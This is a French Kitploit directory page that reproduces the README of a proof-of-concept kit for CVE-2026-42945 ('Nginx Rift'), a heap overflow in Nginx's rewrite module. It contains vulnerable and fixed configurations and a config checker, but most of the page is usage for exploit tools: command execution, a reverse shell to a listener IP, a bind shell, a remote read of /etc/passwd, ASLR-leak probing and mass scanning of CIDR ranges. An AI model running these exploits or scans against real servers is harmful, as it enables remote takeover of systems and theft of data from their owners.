Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
Outils/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
ReconnaissanceAnalyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebFuzzingTests d'IntrusionDéveloppement de Charges UtilesExploitation de Binaires
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

116il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2026-42945 Nginx Rift - Kit PoC

Un kit complet de preuve de concept pour CVE-2026-42945 (Nginx Rift), une vulnérabilité critique de débordement de tas (heap buffer overflow) dans le module ngx_http_rewrite_module de Nginx.


Résumé de la vulnérabilité

ChampDétails
Identifiant CVECVE-2026-42945
NomNginx Rift
TypeDébordement de tas
Composantngx_http_rewrite_module
SévéritéCritique (CVSS 9.2)
Versions affectéesNginx 0.6.27 - 1.30.0
CorrectionNginx 1.30.1 / 1.31.0

Cause racine

La vulnérabilité provient d’une erreur de calcul de taille entre deux passes internes lors du traitement des règles de réécriture (rewrite). Si une configuration utilise :

  • Des captures regex anonymes ($1, $2, etc.)
  • Combinées avec une chaîne de remplacement contenant ?

Nginx calcule mal la taille du tampon nécessaire lors de la première passe et écrit au‑delà du tampon alloué sur le tas lors de la seconde passe.

Exemple de configuration vulnérable

server {
    # VULNÉRABLE : capture anonyme ($1) + '?' dans le remplacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Configuration sûre (corrigée)

server {
    # SÛRE : capture nommée (?P<path>) remplace $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Composants du kit

1. nginx_rift_poc.py – Outil PoC principal

Outil de scanner et d’exploitation pour une cible unique.

Fonctionnalités :

  • Détecter la version de Nginx à partir de l’en‑tête Server
  • Vérifier si la version est dans la plage vulnérable
  • Envoyer des charges HTTP conçues pour déclencher le débordement de tas
  • Générer des configurations de test vulnérables/sûres

Utilisation :

# Détecter la version et tester la vulnérabilité
python nginx_rift_poc.py -t cible.example.com

# Tester avec une charge personnalisée
python nginx_rift_poc.py -t cible.example.com -p "/api/AAAA...?x=1"

# Cible HTTPS
python nginx_rift_poc.py -t cible.example.com --ssl -p 443

# Générer une configuration de test vulnérable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Générer une configuration sûre (corrigée)
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py – Scanner de masse

Scanner par lots pour tester plusieurs cibles simultanément.

Fonctionnalités :

  • Scan multi‑threadé (50 threads par défaut)
  • Liste de cibles depuis un fichier ou une plage réseau CIDR
  • Sortie JSON pour intégration
  • Détection automatique SSL pour le port 443

Utilisation :

# Scanner à partir d’un fichier de cibles (format : hôte:port par ligne)
python nginx_rift_scanner.py -f cibles.txt -o resultats.json

# Scanner une seule cible
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scanner une plage réseau
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# Scan à haute vitesse
python nginx_rift_scanner.py -f cibles.txt --threads 100 -o resultats.json

Format du fichier de cibles :

# Les commentaires commencent par #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py – Analyseur de configuration

Analyse les fichiers de configuration Nginx locaux à la recherche de motifs de réécriture vulnérables.

Fonctionnalités :

  • Analyser nginx.conf et suivre les directives include
  • Détecter les captures anonymes combinées avec ? dans les chaînes de remplacement
  • Correction automatique (avec sauvegarde)
  • Analyse récursive de répertoires

Utilisation :

# Analyser un seul fichier
python config_checker.py /etc/nginx/nginx.conf

# Analyser un répertoire récursivement
python config_checker.py -d /etc/nginx/conf.d/

# Correction automatique des motifs vulnérables (crée une sauvegarde .bak)
python config_checker.py --fix /etc/nginx/nginx.conf

# Détection automatique des chemins Nginx courants
python config_checker.py

4. enhanced_poc.py – PoC RCE amélioré

Outil d’exploitation avancé basé sur la recherche officielle de depthfirst, prenant en charge plusieurs motifs de réécriture et modes d’exploitation.

Fonctionnalités :

  • Détection automatique de 8 motifs de réécriture vulnérables courants (/api/, /redirect/, /user/, etc.)
  • Prise en charge de plusieurs caractères déclencheurs de débordement (+, &, =, %)
  • Génération intelligente de charges avec taille de débordement contrôlée
  • Modes d’exploitation multiples : cmd / shell / bind / read
  • Adresses de base personnalisées (heap/libc) pour les environnements sans ASLR
  • Construction dynamique du corps de spray avec un faux ngx_pool_cleanup_s

Utilisation :

# Détection automatique des motifs et de la version
python enhanced_poc.py -t cible.example.com --detect

# Exécuter une commande (ASLR désactivé)
python enhanced_poc.py -t cible.example.com --cmd "id > /tmp/pwned"

# Shell inversé
python enhanced_poc.py -t cible.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Shell lié
python enhanced_poc.py -t cible.example.com --bind --listen-port 5555

# Lire un fichier distant
python enhanced_poc.py -t cible.example.com --read /etc/passwd

# Base heap personnalisée (pour cibles sans ASLR)
python enhanced_poc.py -t cible.example.com --cmd "whoami" --heap-base 0x555555554000

# Utiliser & comme déclencheur de débordement
python enhanced_poc.py -t cible.example.com --cmd "id" --escape-char "&"

Détails des modes d’exploitation :

ModeDescriptionSortie
cmdExécute une commande shell uniqueSortie de la commande sur la cible
shellGénère un shell inverséConnexion vers --listen-ip:listen-port
bindGénère un shell lié sur la cibleÉcoute sur --listen-port sur la cible
readLit un fichier sur la cibleContenu écrit dans /tmp/nginx_rift_read

Configuration des adresses (ASLR désactivé uniquement) :

  • --heap-base : Adresse de base du tas (ex. 0x555555559000)
  • --libc-base : Adresse de base de libc (ex. 0x7ffff77ba000)
  • --system-addr : Adresse directe de system() (remplace libc-base)

5. aslr_leak_detector.py – Détecteur de fuites ASLR

Scanner complet pour détecter les fuites d’informations pouvant contourner la protection ASLR.

Fonctionnalités :

  • Détection de fuites dans les en‑têtes HTTP (Server, X-Powered-By, etc.)
  • Analyse des pages d’erreur pour les adresses mémoire et les traces de pile
  • Sondage de points d’accès spécifiques à Nginx (/nginx_status, /actuator/*, etc.)
  • Détection de fuites d’adresses mémoire (pointeurs 64 bits, adresses heap/libc/stack)
  • Sondage de la disposition du tas via analyse temporelle
  • Inférence de l’état ASLR (activé/désactivé/faible)
  • Intégration directe avec enhanced_poc.py via un rapport JSON

Utilisation :

# Scanner une seule cible
python aslr_leak_detector.py -t cible.example.com

# Scanner avec SSL
python aslr_leak_detector.py -t cible.example.com -p 443 --ssl

# Scanner à partir d’un fichier, sauvegarder le rapport
python aslr_leak_detector.py -f cibles.txt -p 80,443 -o rapport_fuites.json

# Scanner une plage réseau
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Mode scan rapide
python aslr_leak_detector.py -t cible.example.com --quick

Intégration avec le PoC amélioré :

# Étape 1 : Détecter les fuites
python aslr_leak_detector.py -t cible.example.com -o fuites.json
Télécharger l’outil